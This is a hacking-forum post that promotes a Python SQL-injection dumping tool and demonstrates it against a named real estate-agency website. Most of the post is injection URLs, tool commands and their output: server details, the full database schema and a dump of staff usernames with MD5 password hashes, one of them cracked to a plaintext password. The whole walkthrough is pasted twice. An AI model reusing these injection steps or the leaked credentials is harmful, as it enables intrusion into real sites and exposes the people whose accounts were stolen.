Python: A simple but yet powerful SQL fuzzer and dumper 06-12-2011, 12:13 PM
#1
schemafuzz.py
this is originally written by my good friend Rsauron
this is the MYSQL version i.e "sql vulnerability in php files" not asp/cfm/aspx or look alikes for the sql n00bs out there, I will post the MSSQL version later when i'm done fixing some bugs in it and add new features dumper PAUSE and shit.
SQL is one of the best and easiest ways of hacking, far better than RFI and LFI
here is an example of a web that is vulnerable to sql injection:
http://www.sowerbys.com/property-details...d=20102428
now u need to know to number of columns, i personally use the reiluke's "SQL COLUMN COUNTER" program which u can get from reiluke's official web, but there actually turns of programs out there for column counting, anyways the number of columns for this web is 12
http://www.sowerbys.com/property-details...10,11,12--
now u run this on ur browser to view the highlighted column number, which will be d target number / gateway to view the entire database of this vulnerable web, sometimes u'll see more than 1 highlighted number, doesn't matter just pick anyone.
now you are ready to run it with schemafuzz.py, make sure the column number selected is changed to "hackcommunity" b4 using the link in schemfuzz.py
here are some of the commands in the schemafuzz.py u need to know:
********************************************************************************​**************************************************************************
--dbs Shows all databases user has access too. MySQL v5+"
--schema Enumerate Information_schema Database. MySQL v5+"
--full Enumerates all databases information_schema table MySQL v5+"
--dump Extract information from a Database, Table and Column. MySQL v4+"
--fuzz Fuzz Tables and Columns. MySQL v4+"
--findcol Finds Columns length of a SQLi MySQL v4+"
--info Gets MySQL server configuration only. MySQL v4+"
print "\n\tRequired:"
-u URL \"www.site.com/news.php?id=-1+union+select+1,hackcommunity,3,4\""
print "\n\tMode dump and schema options:"
-D \"database_name\""
-T \"table_name\""
-C \"column_name,column_name...\""
print "\n\tOptional:"
-p \"127.0.0.1:80 or proxy.txt\""
-o \"ouput_file_name.txt\" Default is schemafuzzlog.txt"
-r row number to start at"
-v Verbosity off option. Will not display row #'s in dump mode."
Ex: ./schemafuzz.py --info -u \"www.site.com/news.php?id=-1+union+select+1,hackcommunity,3,4\""
Ex: ./schemafuzz.py --dbs -u \"www.site.com/news.php?id=-1+union+select+1,hackcommunity,3,4\""
Ex: ./schemafuzz.py --schema -u \"www.site.com/news.php?id=-1+union+select+1,hackcommunity,3,4\" -D catalog -T orders -r 200"
Ex: ./schemafuzz.py --dump -u \"www.site.com/news.php?id=-1+union+select+1,hackcommunity,3,4\" -D joomla -T jos_users -C username,password"
Ex: ./schemafuzz.py --fuzz -u \"www.site.com/news.php?id=-1+union+select+1,hackcommunity,3,4\" -end \"/*\" -o sitelog.txt"
Ex: ./schemafuzz.py --findcol -u \"www.site.com/news.php?id=43\""
********************************************************************************​**************************************************************************
Using the above website, i got this:
################################################################################​#######################################################
To view the mysql info
schemfuzz.py -u "http://www.sowerbys.com/property-details.php?propertyId=20102428+and+1=0+union+select+1,2,3,4,5,6,7,8,hackcommunity,10,11,12--" --info -o sower.txt
|---------------------------------------------------------------|
| drealpunisher[@]yahoo[dot]cn D_ReaL_PuNiShEr v5.0 |
| 1/2010 schemafuzz.py |
| -MySQL v5+ Information_schema Database Enumeration |
| -MySQL v4+ Data Extractor |
| -MySQL v4+ Table & Column Fuzzer |
| Usage: schemafuzz.py [options] |
| -h help hackcommunity.com |
|---------------------------------------------------------------|
[+] URL:http://www.sowerbys.com/property-details.php?propertyId=20102428+and+1=0+union+select+1,2,3,4,5,6,7,8,hackcommunity,10,11,12--
[+] Evasion Used: "+" "--"
[+] 06:32:25
[+] Proxy Not Given
[+] Gathering MySQL Server Configuration...
Database: sowerbys_j2ofjafk3nfj2
User: sowerbys_swgZqsG@localhost
Version: 5.0.91-community-log
[+] Do we have Access to MySQL Database: No
[+] Do we have Access to Load_File: No
[-] [06:32:29]
[-] Total URL Requests 3
[-] Done
To view the number of Database(s)
schemfuzz.py -u "http://www.sowerbys.com/property-details.php?propertyId=20102428+and+1=0+union+select+1,2,3,4,5,6,7,8,hackcommunity,10,11,12--" --dbs -o sower.txt
|---------------------------------------------------------------|
| drealpunisher[@]yahoo[dot]cn D_ReaL_PuNiShEr v5.0 |
| 1/2010 schemafuzz.py |
| -MySQL v5+ Information_schema Database Enumeration |
| -MySQL v4+ Data Extractor |
| -MySQL v4+ Table & Column Fuzzer |
| Usage: schemafuzz.py [options] |
| -h help hackcommunity.com |
|---------------------------------------------------------------|
[+] URL:http://www.sowerbys.com/property-details.php?propertyId=20102428+and+1=0+union+select+1,2,3,4,5,6,7,8,hackcommunity,10,11,12--
[+] Evasion Used: "+" "--"
[+] 06:33:46
[+] Proxy Not Given
[+] Gathering MySQL Server Configuration...
Database: sowerbys_j2ofjafk3nfj2
User: sowerbys_swgZqsG@localhost
Version: 5.0.91-community-log
[+] Showing all databases current user has access too!
[+] Number of Databases: 1
[0] sowerbys_j2ofjafk3nfj2
[-] [06:33:50]
[-] Total URL Requests 3
[-] Done
To view the Tables in Database "sowerbys_j2ofjafk3nfj2"
schemfuzz.py -u "http://www.sowerbys.com/property-details.php?propertyId=20102428+and+1=0+union+select+1,2,3,4,5,6,7,8,hackcommunity,10,11,12--" --schema -D sowerbys_j2ofjafk3nfj2 -o sower.txt
|---------------------------------------------------------------|
| drealpunisher[@]yahoo[dot]cn D_ReaL_PuNiShEr v5.0 |
| 1/2010 schemafuzz.py |
| -MySQL v5+ Information_schema Database Enumeration |
| -MySQL v4+ Data Extractor |
| -MySQL v4+ Table & Column Fuzzer |
| Usage: schemafuzz.py [options] |
| -h help hackcommunity.com |
|---------------------------------------------------------------|
[+] URL:http://www.sowerbys.com/property-details.php?propertyId=20102428+and+1=0+union+select+1,2,3,4,5,6,7,8,hackcommunity,10,11,12--
[+] Evasion Used: "+" "--"
[+] 06:34:15
[+] Proxy Not Given
[+] Gathering MySQL Server Configuration...
Database: sowerbys_j2ofjafk3nfj2
User: sowerbys_swgZqsG@localhost
Version: 5.0.91-community-log
[+] Showing Tables & Columns from database "sowerbys_j2ofjafk3nfj2"
[+] Number of Tables: 19
[Database]: sowerbys_j2ofjafk3nfj2
[Table: Columns]
[0]a: vType,vSaleOrLet,vLocation,vPriceAsText,vPriceAsInt,vURL,vPid,vBranch,vFeaturedP​rop,vPathToImage
[1]a_contact: contactDescription
[2]a_people: personId,personSortOrder,personName,personJobTitle,personDescription,personImage​Filename,personOffice
[3]a_welcome: welcomeIntro
[4]audit: auditId,auditTimeStamp,auditMessageType,auditMessageSeverity,auditMessageText
[5]developments: dId,dTitle,dLocation,dIntro,dNarrative,dImage,dPDF,dPDF2,dPDF3,dPDF4,dEnabled
[6]forms: formName,formDescription,formTableName,formDisplayTitle,formSubmitText,formRetur​nURL,formTestRequires
[7]locks: lockId,user_id,tableName,recordId,timeStamp
[8]menucats: catNo,tabId,catName,sortOrder
[9]menuitems: itemId,catNo,parentId,itemName,itemURL,sortOrder
[10]menutabs: tabId,tabName,tabDefaultURL,sortOrder
[11]messages: messageId,messageTitle,messageDate,messageDesc,messageImage1,messageImage2
[12]meta: formName,fieldName,tableName,fieldCaption,fieldMandatory,fieldSameRow,fieldDispl​ayType,fieldAccess,fieldDisplayCustomFunction,fieldDisplaySize,fieldDisplayOrder​,fieldPreDisplayFunction,fieldIncludedSQLAdd,fieldIncludedSQLChange,fieldToolTip​,fieldGenericType
[13]plots: plotId,dId,pTitle,pPrice,pAvailability,image1,image2,image3,image4,image5,pdf,pD​escription
[14]tabprivs: user_id,tabId
[15]userGlobals: userGlobalRef,userGlobalDescription,userGlobalValue
[16]usertable: user_id,username,userFirstName,userLastName,userFamiliarName,password,security
[17]vProps: vId,vType,vSaleOrLet,vLocation,vPriceAsText,vPriceAsInt,vURL,vPid,vBranch,vFeatu​redProp,vFeaturedProp2,vPathToImage
[18]vebraImportAudit: time,success,text
[-] [06:36:57]
[-] Total URL Requests 124
[-] Done
To dump data from Table "usertable"
schemfuzz.py -u "http://www.sowerbys.com/property-details.php?propertyId=20102428+and+1=0+union+select+1,2,3,4,5,6,7,8,hackcommunity,10,11,12--" --dump -D sowerbys_j2ofjafk3nfj2 -T usetable -C user_id,username,password -o sower.txt
|---------------------------------------------------------------|
| drealpunisher[@]yahoo[dot]cn D_ReaL_PuNiShEr v5.0 |
| 1/2010 schemafuzz.py |
| -MySQL v5+ Information_schema Database Enumeration |
| -MySQL v4+ Data Extractor |
| -MySQL v4+ Table & Column Fuzzer |
| Usage: schemafuzz.py [options] |
| -h help hackcommunity.com |
|---------------------------------------------------------------|
[+] URL:http://www.sowerbys.com/property-details.php?propertyId=20102428+and+1=0+union+select+1,2,3,4,5,6,7,8,hackcommunity,10,11,12--
[+] Evasion Used: "+" "--"
[+] 06:39:32
[+] Proxy Not Given
[+] Gathering MySQL Server Configuration...
Database: sowerbys_j2ofjafk3nfj2
User: sowerbys_swgZqsG@localhost
Version: 5.0.91-community-log
[+] Dumping data from database "sowerbys_j2ofjafk3nfj2" Table "usertable"
[+] Column(s) ['user_id', 'username', 'password']
[+] Number of Rows: 3
[0] 35:MarcusHawkins:13e6bea06906909dc2fdc6c36eba5c1b:
[1] 40:LeeAsh:c30a63a661f477fbc0bb3f207f7ad8b6:
[2] 41:amybews:1a8db4c996d8ed8289da5f957879ab94:
[-] [06:40:02]
[-] Total URL Requests 5
[-] Done
admin pass md5 hash for user "amybews"
1a8db4c996d8ed8289da5f957879ab94 = property
################################################################################​################################################################################​#####
download link http://www.sendspace.com/file/eowa95
this was my 1ST post in this forum, hope it was helpful to you lots
sry there was no pictures, in my 2nd post however there will be pictures
this was for sql dumping and the next will be methods to get vulnerable sql websites
Thanks till next time
this is originally written by my good friend Rsauron
this is the MYSQL version i.e "sql vulnerability in php files" not asp/cfm/aspx or look alikes for the sql n00bs out there, I will post the MSSQL version later when i'm done fixing some bugs in it and add new features dumper PAUSE and shit.
SQL is one of the best and easiest ways of hacking, far better than RFI and LFI
here is an example of a web that is vulnerable to sql injection:
http://www.sowerbys.com/property-details...d=20102428
now u need to know to number of columns, i personally use the reiluke's "SQL COLUMN COUNTER" program which u can get from reiluke's official web, but there actually turns of programs out there for column counting, anyways the number of columns for this web is 12
http://www.sowerbys.com/property-details...10,11,12--
now u run this on ur browser to view the highlighted column number, which will be d target number / gateway to view the entire database of this vulnerable web, sometimes u'll see more than 1 highlighted number, doesn't matter just pick anyone.
now you are ready to run it with schemafuzz.py, make sure the column number selected is changed to "hackcommunity" b4 using the link in schemfuzz.py
here are some of the commands in the schemafuzz.py u need to know:
********************************************************************************​**************************************************************************
--dbs Shows all databases user has access too. MySQL v5+"
--schema Enumerate Information_schema Database. MySQL v5+"
--full Enumerates all databases information_schema table MySQL v5+"
--dump Extract information from a Database, Table and Column. MySQL v4+"
--fuzz Fuzz Tables and Columns. MySQL v4+"
--findcol Finds Columns length of a SQLi MySQL v4+"
--info Gets MySQL server configuration only. MySQL v4+"
print "\n\tRequired:"
-u URL \"www.site.com/news.php?id=-1+union+select+1,hackcommunity,3,4\""
print "\n\tMode dump and schema options:"
-D \"database_name\""
-T \"table_name\""
-C \"column_name,column_name...\""
print "\n\tOptional:"
-p \"127.0.0.1:80 or proxy.txt\""
-o \"ouput_file_name.txt\" Default is schemafuzzlog.txt"
-r row number to start at"
-v Verbosity off option. Will not display row #'s in dump mode."
Ex: ./schemafuzz.py --info -u \"www.site.com/news.php?id=-1+union+select+1,hackcommunity,3,4\""
Ex: ./schemafuzz.py --dbs -u \"www.site.com/news.php?id=-1+union+select+1,hackcommunity,3,4\""
Ex: ./schemafuzz.py --schema -u \"www.site.com/news.php?id=-1+union+select+1,hackcommunity,3,4\" -D catalog -T orders -r 200"
Ex: ./schemafuzz.py --dump -u \"www.site.com/news.php?id=-1+union+select+1,hackcommunity,3,4\" -D joomla -T jos_users -C username,password"
Ex: ./schemafuzz.py --fuzz -u \"www.site.com/news.php?id=-1+union+select+1,hackcommunity,3,4\" -end \"/*\" -o sitelog.txt"
Ex: ./schemafuzz.py --findcol -u \"www.site.com/news.php?id=43\""
********************************************************************************​**************************************************************************
Using the above website, i got this:
################################################################################​#######################################################
To view the mysql info
schemfuzz.py -u "http://www.sowerbys.com/property-details.php?propertyId=20102428+and+1=0+union+select+1,2,3,4,5,6,7,8,hackcommunity,10,11,12--" --info -o sower.txt
|---------------------------------------------------------------|
| drealpunisher[@]yahoo[dot]cn D_ReaL_PuNiShEr v5.0 |
| 1/2010 schemafuzz.py |
| -MySQL v5+ Information_schema Database Enumeration |
| -MySQL v4+ Data Extractor |
| -MySQL v4+ Table & Column Fuzzer |
| Usage: schemafuzz.py [options] |
| -h help hackcommunity.com |
|---------------------------------------------------------------|
[+] URL:http://www.sowerbys.com/property-details.php?propertyId=20102428+and+1=0+union+select+1,2,3,4,5,6,7,8,hackcommunity,10,11,12--
[+] Evasion Used: "+" "--"
[+] 06:32:25
[+] Proxy Not Given
[+] Gathering MySQL Server Configuration...
Database: sowerbys_j2ofjafk3nfj2
User: sowerbys_swgZqsG@localhost
Version: 5.0.91-community-log
[+] Do we have Access to MySQL Database: No
[+] Do we have Access to Load_File: No
[-] [06:32:29]
[-] Total URL Requests 3
[-] Done
To view the number of Database(s)
schemfuzz.py -u "http://www.sowerbys.com/property-details.php?propertyId=20102428+and+1=0+union+select+1,2,3,4,5,6,7,8,hackcommunity,10,11,12--" --dbs -o sower.txt
|---------------------------------------------------------------|
| drealpunisher[@]yahoo[dot]cn D_ReaL_PuNiShEr v5.0 |
| 1/2010 schemafuzz.py |
| -MySQL v5+ Information_schema Database Enumeration |
| -MySQL v4+ Data Extractor |
| -MySQL v4+ Table & Column Fuzzer |
| Usage: schemafuzz.py [options] |
| -h help hackcommunity.com |
|---------------------------------------------------------------|
[+] URL:http://www.sowerbys.com/property-details.php?propertyId=20102428+and+1=0+union+select+1,2,3,4,5,6,7,8,hackcommunity,10,11,12--
[+] Evasion Used: "+" "--"
[+] 06:33:46
[+] Proxy Not Given
[+] Gathering MySQL Server Configuration...
Database: sowerbys_j2ofjafk3nfj2
User: sowerbys_swgZqsG@localhost
Version: 5.0.91-community-log
[+] Showing all databases current user has access too!
[+] Number of Databases: 1
[0] sowerbys_j2ofjafk3nfj2
[-] [06:33:50]
[-] Total URL Requests 3
[-] Done
To view the Tables in Database "sowerbys_j2ofjafk3nfj2"
schemfuzz.py -u "http://www.sowerbys.com/property-details.php?propertyId=20102428+and+1=0+union+select+1,2,3,4,5,6,7,8,hackcommunity,10,11,12--" --schema -D sowerbys_j2ofjafk3nfj2 -o sower.txt
|---------------------------------------------------------------|
| drealpunisher[@]yahoo[dot]cn D_ReaL_PuNiShEr v5.0 |
| 1/2010 schemafuzz.py |
| -MySQL v5+ Information_schema Database Enumeration |
| -MySQL v4+ Data Extractor |
| -MySQL v4+ Table & Column Fuzzer |
| Usage: schemafuzz.py [options] |
| -h help hackcommunity.com |
|---------------------------------------------------------------|
[+] URL:http://www.sowerbys.com/property-details.php?propertyId=20102428+and+1=0+union+select+1,2,3,4,5,6,7,8,hackcommunity,10,11,12--
[+] Evasion Used: "+" "--"
[+] 06:34:15
[+] Proxy Not Given
[+] Gathering MySQL Server Configuration...
Database: sowerbys_j2ofjafk3nfj2
User: sowerbys_swgZqsG@localhost
Version: 5.0.91-community-log
[+] Showing Tables & Columns from database "sowerbys_j2ofjafk3nfj2"
[+] Number of Tables: 19
[Database]: sowerbys_j2ofjafk3nfj2
[Table: Columns]
[0]a: vType,vSaleOrLet,vLocation,vPriceAsText,vPriceAsInt,vURL,vPid,vBranch,vFeaturedP​rop,vPathToImage
[1]a_contact: contactDescription
[2]a_people: personId,personSortOrder,personName,personJobTitle,personDescription,personImage​Filename,personOffice
[3]a_welcome: welcomeIntro
[4]audit: auditId,auditTimeStamp,auditMessageType,auditMessageSeverity,auditMessageText
[5]developments: dId,dTitle,dLocation,dIntro,dNarrative,dImage,dPDF,dPDF2,dPDF3,dPDF4,dEnabled
[6]forms: formName,formDescription,formTableName,formDisplayTitle,formSubmitText,formRetur​nURL,formTestRequires
[7]locks: lockId,user_id,tableName,recordId,timeStamp
[8]menucats: catNo,tabId,catName,sortOrder
[9]menuitems: itemId,catNo,parentId,itemName,itemURL,sortOrder
[10]menutabs: tabId,tabName,tabDefaultURL,sortOrder
[11]messages: messageId,messageTitle,messageDate,messageDesc,messageImage1,messageImage2
[12]meta: formName,fieldName,tableName,fieldCaption,fieldMandatory,fieldSameRow,fieldDispl​ayType,fieldAccess,fieldDisplayCustomFunction,fieldDisplaySize,fieldDisplayOrder​,fieldPreDisplayFunction,fieldIncludedSQLAdd,fieldIncludedSQLChange,fieldToolTip​,fieldGenericType
[13]plots: plotId,dId,pTitle,pPrice,pAvailability,image1,image2,image3,image4,image5,pdf,pD​escription
[14]tabprivs: user_id,tabId
[15]userGlobals: userGlobalRef,userGlobalDescription,userGlobalValue
[16]usertable: user_id,username,userFirstName,userLastName,userFamiliarName,password,security
[17]vProps: vId,vType,vSaleOrLet,vLocation,vPriceAsText,vPriceAsInt,vURL,vPid,vBranch,vFeatu​redProp,vFeaturedProp2,vPathToImage
[18]vebraImportAudit: time,success,text
[-] [06:36:57]
[-] Total URL Requests 124
[-] Done
To dump data from Table "usertable"
schemfuzz.py -u "http://www.sowerbys.com/property-details.php?propertyId=20102428+and+1=0+union+select+1,2,3,4,5,6,7,8,hackcommunity,10,11,12--" --dump -D sowerbys_j2ofjafk3nfj2 -T usetable -C user_id,username,password -o sower.txt
|---------------------------------------------------------------|
| drealpunisher[@]yahoo[dot]cn D_ReaL_PuNiShEr v5.0 |
| 1/2010 schemafuzz.py |
| -MySQL v5+ Information_schema Database Enumeration |
| -MySQL v4+ Data Extractor |
| -MySQL v4+ Table & Column Fuzzer |
| Usage: schemafuzz.py [options] |
| -h help hackcommunity.com |
|---------------------------------------------------------------|
[+] URL:http://www.sowerbys.com/property-details.php?propertyId=20102428+and+1=0+union+select+1,2,3,4,5,6,7,8,hackcommunity,10,11,12--
[+] Evasion Used: "+" "--"
[+] 06:39:32
[+] Proxy Not Given
[+] Gathering MySQL Server Configuration...
Database: sowerbys_j2ofjafk3nfj2
User: sowerbys_swgZqsG@localhost
Version: 5.0.91-community-log
[+] Dumping data from database "sowerbys_j2ofjafk3nfj2" Table "usertable"
[+] Column(s) ['user_id', 'username', 'password']
[+] Number of Rows: 3
[0] 35:MarcusHawkins:13e6bea06906909dc2fdc6c36eba5c1b:
[1] 40:LeeAsh:c30a63a661f477fbc0bb3f207f7ad8b6:
[2] 41:amybews:1a8db4c996d8ed8289da5f957879ab94:
[-] [06:40:02]
[-] Total URL Requests 5
[-] Done
admin pass md5 hash for user "amybews"
1a8db4c996d8ed8289da5f957879ab94 = property
################################################################################​################################################################################​#####
download link http://www.sendspace.com/file/eowa95
this was my 1ST post in this forum, hope it was helpful to you lots
sry there was no pictures, in my 2nd post however there will be pictures
this was for sql dumping and the next will be methods to get vulnerable sql websites
Thanks till next time
(This post was last modified: 06-12-2011, 12:52 PM by Gommy.)
Hate it or love it the under dog's on top
And I'm gon shine homie until my heart stop
And I'm gon shine homie until my heart stop
![[+]](https://sinister.li/images/modern/collapse_collapsed.png)
